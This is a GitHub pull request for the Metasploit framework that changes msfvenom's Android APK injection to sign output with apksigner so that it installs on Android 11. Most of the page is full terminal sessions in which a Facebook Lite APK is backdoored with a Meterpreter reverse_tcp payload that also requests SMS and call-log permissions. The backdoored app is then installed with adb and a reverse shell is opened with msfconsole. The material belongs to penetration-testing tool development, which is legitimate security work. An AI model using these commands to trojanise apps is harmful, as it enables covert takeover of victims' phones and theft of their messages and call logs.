Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Msf::Payload::Apk: Replace jarsigner with apksigner #16294

Merged
merged 1 commit into from
Mar 6, 2022

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Mar 6, 2022

apksigner supports signing with newer signature schemes which is mandatory for Android 11+.

From https://developer.android.com/about/versions/11/behavior-changes-11#minimum-signature-scheme :

Apps that target Android 11 (API level 30) that are currently only signed using APK Signature Scheme v1 must now also be signed using APK Signature Scheme v2 or higher. Users can't install or update apps that are only signed with APK Signature Scheme v1 on devices that run Android 11."
[...]
Caution: To support devices that run older versions of Android, you should continue to sign your APKs using APK Signature Scheme v1, in addition to signing your APK with APK Signature Scheme v2 or higher."

apksigner is available in Kali OS packages. It correcly signs APKs with the correct scheme based on minSdkVersion attribute from the app's manifest file. As such, apksigner can effectively be used to replace jarsigner entirely.

Before

# ./msfvenom -x apks/facebook_lite_v291.0.0.12.110.apk -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=4444 -o asdf.apk
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: apks/facebook_lite_v291.0.0.12.110.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.lite.ufjrc
[*] Loading /tmp/d20220306-989544-1apagcx/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220306-989544-1apagcx/output.apk
[*] Signing /tmp/d20220306-989544-1apagcx/output.apk
[*] Aligning /tmp/d20220306-989544-1apagcx/output.apk
Payload size: 1990154 bytes
Saved as: asdf.apk

# apksigner verify --verbose asdf.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
DOES NOT VERIFY
ERROR: Target SDK version 30 requires a minimum of signature scheme v2; the APK is not signed with this or a later signature scheme

# keytool -printcert -jarfile asdf.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Signer #1:

Signature:

Owner: CN=Facebook Corporation, OU=Facebook, O=Facebook Mobile, L=Palo Alto, ST=CA, C=US
Issuer: CN=Facebook Corporation, OU=Facebook, O=Facebook Mobile, L=Palo Alto, ST=CA, C=US
Serial number: 6267550b
Valid from: Mon Aug 31 17:52:16 EDT 2009 until: Sun Sep 25 17:52:16 EDT 2050
Certificate fingerprints:
	 SHA1: 56:B7:99:AD:60:66:7A:8B:CF:E9:F8:DF:EA:FA:C7:E0:0A:13:ED:FB
	 SHA256: F2:65:3D:65:C2:64:64:CB:88:43:1A:A6:6D:25:D1:49:29:80:EF:A4:EB:0E:2B:E0:1A:BC:5C:D2:DE:B6:4D:25
Signature algorithm name: SHA256withRSA
Subject Public Key Algorithm: 2048-bit RSA key
Version: 3

Extensions: 

#1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 2E D1 E8 73 10 E0 95 F8   C6 A7 A8 D4 79 92 C0 02  ...s........y...
0010: 5B 93 12 2D                                        [..-
]
]

After

# ./msfvenom -x apks/facebook_lite_v291.0.0.12.110.apk -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=4444 -o asdf.apk
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: apks/facebook_lite_v291.0.0.12.110.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.lite.sohqm
[*] Loading /tmp/d20220306-989177-3hlizl/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220306-989177-3hlizl/output.apk
[*] Aligning /tmp/d20220306-989177-3hlizl/output.apk
[*] Signing /tmp/d20220306-989177-3hlizl/aligned.apk with apksigner
Payload size: 1994101 bytes
Saved as: asdf.apk

# apksigner verify --verbose asdf.apk 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Verifies
Verified using v1 scheme (JAR signing): true
Verified using v2 scheme (APK Signature Scheme v2): true
Verified using v3 scheme (APK Signature Scheme v3): true
Verified using v4 scheme (APK Signature Scheme v4): false
Verified for SourceStamp: false
Number of signers: 1
meterpreter > getuid
Server username: u0_a159
meterpreter > pwd
/data/user/0/com.facebook.lite/files
meterpreter > ls
Listing: /data/user/0/com.facebook.lite/files
=============================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  3021  fil   2022-03-06 08:19:51 -0500  PropertiesStore_v02
040776/rwxrwxrw-  4096  dir   2022-03-06 08:19:47 -0500  oat
040776/rwxrwxrw-  4096  dir   2022-03-06 08:19:49 -0500  resources

meterpreter > 

This allows signing APK files with Signature Scheme v2/v3/v4.
@timwr
Copy link
Contributor

timwr commented Mar 6, 2022

Nice work @bcoles
I couldn't reproduce the original issue on an Android 7 virtual device, however I can with Android 11.

Before

$ msfvenom -x facebook-lite.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o out.apk
Using APK template: facebook-lite.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.lite.cjsrh
[*] Loading /tmp/d20220306-542517-9v106c/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220306-542517-9v106c/output.apk
[*] Signing /tmp/d20220306-542517-9v106c/output.apk
[*] Aligning /tmp/d20220306-542517-9v106c/output.apk
Payload size: 1990137 bytes
Saved as: out.apk
$ adb install out.apk
Performing Streamed Install
adb: failed to install out.apk: Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES: Scanning Failed.: No signature found in package of version 2 or newer for package com.facebook.lite]

After

msfvenom -x facebook-lite.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o out.apk
Using APK template: facebook-lite.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.lite.brndx
[*] Loading /tmp/d20220306-541536-dpe5nq/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220306-541536-dpe5nq/output.apk
[*] Aligning /tmp/d20220306-541536-dpe5nq/output.apk
[*] Signing /tmp/d20220306-541536-dpe5nq/aligned.apk with apksigner
Payload size: 1994101 bytes
Saved as: out.apk
$ adb install out.apk
Performing Streamed Install
Success
$ adb reverse tcp:4444 tcp:4444
4444
$ msfconsole -qx "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; setg lhost 127.0.0.1; set lport 4444; set ExitOnSession false; run -j"
...
meterpreter > sysinfo
Computer        : localhost
OS              : Android 11 - Linux 5.4.61-android11-2-00064-g4271ad6e8ade-ab6991359 (i686)
Architecture    : x86
System Language : en_US
Meterpreter     : dalvik/android

@timwr timwr merged commit 2984a11 into rapid7:master Mar 6, 2022
@bcoles bcoles deleted the payload-apk-apksigner branch March 6, 2022 14:56
@timwr
Copy link
Contributor

timwr commented Mar 6, 2022

Release notes

This change fixes the Android APK injection functionality of msfvenom to use the new signing tool apksigner instead of jarsigner, which allows the applications to install successfully on the latest version of Android (Android 11).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants